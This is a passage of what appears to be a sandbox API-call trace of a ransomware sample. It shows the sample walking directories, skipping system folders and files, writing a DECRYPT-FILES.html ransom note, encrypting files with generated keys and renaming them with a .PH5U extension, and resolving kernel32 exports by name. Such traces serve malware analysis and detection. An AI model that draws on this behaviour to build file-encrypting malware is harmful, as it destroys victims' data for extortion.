lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0129.470] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0129.470] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0129.470] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0129.470] lstrlenA (lpString="CREATETHREAD") returned 12 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0129.470] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0129.470] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0129.470] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0129.470] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0129.470] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0129.470] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0129.470] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0129.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0129.471] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.PH5U") returned 50 [0129.471] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.PH5U" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.ph5u"), dwFlags=0x0) returned 1 [0129.471] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.472] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.472] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.472] FindNextFileW (in: hFindFile=0x3b80fc0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0129.472] FindClose (in: hFindFile=0x3b80fc0 | out: hFindFile=0x3b80fc0) returned 1 [0129.472] CloseHandle (hObject=0x528) returned 1 [0129.472] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0129.472] lstrcmpW (lpString1="1043", lpString2=".") returned 1 [0129.473] lstrcmpW (lpString1="1043", lpString2="..") returned 1 [0129.473] lstrcatW (in: lpString1="1043", lpString2="\\" | out: lpString1="1043\\") returned="1043\\" [0129.473] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1043\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch=":\\Windows") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\Program Files") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\Games\\") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\Tor Browser\\") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\ProgramData\\") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0129.473] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1043\\", lpSrch="\\All Users") returned 0x0 [0129.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\") returned 27 [0129.473] lstrlenW (lpString="eogwkz.dat") returned 10 [0129.473] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\\\eogwkz.dat") returned 38 [0129.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1043\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0129.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\") returned 27 [0129.473] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0129.473] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\\\DECRYPT-FILES.html") returned 46 [0129.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1043\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0129.475] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0129.476] CloseHandle (hObject=0x470) returned 1 [0129.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\") returned 27 [0129.476] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1043\\*") returned="C:\\588bce7c90097ed212\\1043\\*" [0129.476] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x536d23c3, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81380 [0129.476] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0129.476] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x536d23c3, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0129.476] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0129.476] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0129.476] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x536d23c3, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x536d23c3, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x536d23c3, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0129.476] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0129.476] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x536d23c3, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x536d23c3, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x536d23c3, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0129.476] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0129.476] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0129.477] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0129.477] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\") returned 27 [0129.477] lstrlenW (lpString="eogwkz.dat") returned 10 [0129.477] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1043\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0129.477] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1043\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1043\\eogwkz.dat" [0129.477] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1043\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.477] CloseHandle (hObject=0x0) returned 0 [0129.477] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.478] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0129.478] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0129.478] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\") returned 27 [0129.478] lstrlenW (lpString="eula.rtf") returned 8 [0129.478] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1043\\" | out: lpString1="C:\\588bce7c90097ed212\\1043\\") returned="C:\\588bce7c90097ed212\\1043\\" [0129.478] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf" [0129.478] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.478] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0129.479] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3546) returned 1 [0129.479] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0129.479] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0129.581] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0129.581] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0129.581] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.582] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0129.582] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0129.582] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.583] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0129.583] CloseHandle (hObject=0x5f8) returned 1 [0129.583] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.583] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0129.584] CloseHandle (hObject=0x0) returned 0 [0129.584] CloseHandle (hObject=0x5f4) returned 1 [0129.584] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.585] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.585] GetTickCount () returned 0x35c5a [0129.585] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.585] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0129.585] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0129.585] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.586] lstrlenA (lpString="kernel32.dll") returned 12 [0129.586] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0129.586] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0129.586] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0129.586] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0129.586] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0129.586] lstrlenA (lpString="ADDATOMA") returned 8 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0129.586] lstrlenA (lpString="ADDATOMW") returned 8 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0129.586] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0129.586] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0129.586] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0129.586] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0129.586] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0129.586] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0129.586] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0129.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0129.587] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0129.587] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0129.587] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0129.587] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0129.587] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0129.587] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0129.587] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0129.587] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0129.587] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0129.587] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0129.587] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0129.587] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0129.587] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0129.587] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0129.587] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0129.587] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0129.587] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0129.587] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0129.587] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0129.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0129.588] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0129.588] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0129.588] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0129.588] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0129.588] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0129.588] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0129.588] lstrlenA (lpString="BACKUPREAD") returned 10 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0129.588] lstrlenA (lpString="BACKUPSEEK") returned 10 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0129.588] lstrlenA (lpString="BACKUPWRITE") returned 11 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0129.588] lstrlenA 